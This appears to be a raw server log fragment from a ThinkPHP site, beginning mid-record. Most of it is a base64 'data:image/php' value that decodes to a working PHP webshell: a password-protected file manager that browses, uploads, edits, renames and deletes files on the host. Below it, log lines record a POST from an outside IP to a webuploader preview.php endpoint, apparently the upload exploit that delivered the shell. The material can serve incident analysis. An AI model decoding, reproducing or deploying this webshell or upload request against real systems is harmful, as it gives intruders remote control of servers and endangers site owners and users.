'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'js' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:05:01+08:00 ] 116.213.36.234 POST 51tianwei.com/admin/include//webuploader/0.1.15/server/preview.php [运行时间:0.002448s] [吞吐率:408.48req/s] [内存消耗:196.76kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'include', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 